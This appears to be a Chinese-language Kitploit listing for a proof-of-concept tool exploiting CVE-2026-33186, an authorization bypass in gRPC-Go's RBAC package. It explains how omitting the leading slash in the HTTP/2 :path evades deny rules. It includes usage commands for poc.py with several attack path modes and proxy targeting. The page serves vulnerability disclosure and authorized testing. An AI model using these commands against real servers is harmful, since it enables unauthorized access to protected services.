Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33186 — gRPC-Go RBAC 授权策略绕过:利用缺失的 `:path` 斜杠(认证绕过) | Kitploit
工具/GitHubGitHub/johanneslks/cve-2026-33186
身份验证与授权漏洞利用Web应用程序漏洞利用渗透测试学习与教育API 安全
GitHubjohanneslks/cve-2026-33186

CVE-2026-33186

gRPC-Go RBAC 授权策略绕过:利用缺失的 `:path` 斜杠(认证绕过)

查看仓库
152个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33186

gRPC-Go RBAC 授权策略绕过:缺少 :path 斜杠(认证绕过)

描述

google.golang.org/grpc 中的 authz 包通过 SDK 级 RBAC 授权实现,使用 deny 和 allow 规则匹配 :path 伪标头。HTTP/2 服务端传输层直接存储来自客户端的原始 :path 值,而不验证其是否以 / 开头。路由层(handleStream)在分发前会对路径进行规范化,但 RBAC 引擎通过 grpc.Method(ctx) 从上下文中读取的是规范化之前的值。

Deny 规则写作 /Service/Method(带有前导斜杠)。发送 :path = "Service/Method"(不带斜杠)会导致 deny 规则在首字符比较时失配。默认的 allow 规则触发,受保护的方法得以执行。

任何使用 authz.NewStatic() 或 authz.NewFileWatcher() 且配置了 deny 规则的 gRPC 服务器均受影响。使用原始 HTTP/2 客户端(Python h2、curl --http2 或任何自定义帧写入器)即可利用此漏洞——无需凭据,无需任何先前状态。

针对 grpc-go v1.71.0 的实机验证表明,在省略前导斜杠的情况下,对被列入 deny 名单的 AdminMethod 的调用返回了 gRPC 状态 0(OK),而使用规范斜杠的相同调用则返回状态 7(PermissionDenied)。

受影响版本:google.golang.org/grpc < v1.79.3。已在 v1.79.3 中修复(PR #8981)。

用法

root@kitploit:~
# Install the Python HTTP/2 dependency:
pip install h2

# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod

# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
  --service MyService --method SecretMethod

# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash

# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
  --path-mode double-slash --service MyService --method SecretMethod

# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
  --attack-path '//MyService/SecretMethod'

# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt

--host 控制 HTTP/2 的 :authority 主机,除非设置了 --authority。--connect-host 控制 TCP 目的地。这对于虚拟主机或反向代理环境非常有用,在这些环境中,可访问的 IP 与路由的后端 authority 不同。

grpc-go 的规范问题是 --path-mode no-slash。double-slash 和 custom 是通用辅助选项,适用于代理将不同形态的畸形路径转发给易受影响后端的环境。

要求

  • 攻击者:Python 3.8+,h2(pip install h2)
  • 目标:使用包含 deny 规则的 authz 包的 gRPC-Go 服务器

文件

文件描述
poc.pyPython PoC——发送 3 个原始 HTTP/2 调用(基线/攻击/对照)以证明该绕过
README.md漏洞详情、用法示例和参考信息
LICENSEGPLv3 许可证

参考

  • https://github.com/grpc/grpc-go/security/advisories/GHSA-p77j-4mvh-x3m3
  • https://github.com/grpc/grpc-go/pull/8981

法律声明

本项目以 GNU GPLv3 许可证发布。

本项目仅用于防御性安全研究、教育和授权测试。未经所有者明确许可,请勿将此代码用于任何系统或服务。

未经授权的使用可能违反适用法律。作者不授予测试第三方系统的许可,也不对滥用行为负责。

有关保修和责任条款,请参阅 LICENSE 文件。

下载工具